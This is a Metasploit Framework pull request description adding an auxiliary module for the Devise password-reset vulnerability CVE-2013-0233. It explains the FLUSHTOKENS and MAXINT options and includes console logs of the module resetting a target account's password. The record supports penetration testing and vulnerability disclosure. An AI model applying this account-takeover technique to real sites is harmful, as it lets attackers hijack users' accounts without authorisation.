rapid7/metasploit-framework — pull request #1475 by jjarmoc (2013-02-11 03:16:47+00:00)
Title: Add a module for devise PW reset - CVE-2013-0233

This is an aux module for joernchen's vuln in devise CVE-2013-0233.

Tested w/ Devise v2.2.2, 2.1.2, and 2.0.4.

* FLUSHTOKENS determines whether we try to clear outstanding tokens before resetting our target account. If we don't do this, we'll end up changing the password for the account with the lowest ID that has a token outstanding. Even after doing this, we'll still racing other users who may be requesting resets; this will be pretty reliable except on extremely busy sites.

* MAXINT is a trade off between being as reliable as possible, and using a reasonable number of connections. Any leading alpha character in the token will work with 0, but if the token begins with an integer higher than MAXINT, we receive an error.

For example, with a token of '83yEpsNcwSQr4G9jyC37' our default of 10 fails.

msf auxiliary(rails_devise_pass_reset) > run
[*] Clearing existing tokens
[*] Cleared 0 tokens
[*] Generating reset token for jeff2@example.com
[*] Resetting password to "password"
[-] No active reset tokens below 10 remain.
Try a higher MAXINT.
[-] Failed
[*] Auxiliary module execution completed

But if we set it higher, we're good. This takes longer, however;

msf auxiliary(rails_devise_pass_reset)mset MAXINT 100
MAXINT => 100
msf auxiliary(rails_devise_pass_reset) >
msf auxiliary(rails_devise_pass_reset) > run
[*] Clearing existing tokens
[*] Cleared 1 tokens
[*] Generating reset token for jeff2@example.com
[*] Resetting password to "password"
[+] Success
[*] Auxiliary module execution completed
msf auxiliary(rails_devise_pass_reset) >

* If there's an error for some non-token reason, it's returned to the user;
msf auxiliary(rails_devise_pass_reset) > run

[*] Clearing existing tokens
[*] Cleared 0 tokens
[*] Generating reset token for jeff2@example.com
[*] Resetting password to "test"
[-] Server returned an error:
[-]

1 error prohibited this user from being saved:

Password is too short (minimum is 8 characters)

[-] Failed
[*] Auxiliary module execution completed
msf auxiliary(rails_devise_pass_reset) > set PASSWORD 12345678
PASSWORD => 12345678
msf auxiliary(rails_devise_pass_reset) > run

[*] Clearing existing tokens
[*] Cleared 1 tokens
[*] Generating reset token for jeff2@example.com
[*] Resetting password to "12345678"
[+] Success
[*] Auxiliary module execution completed
msf auxiliary(rails_devise_pass_reset) >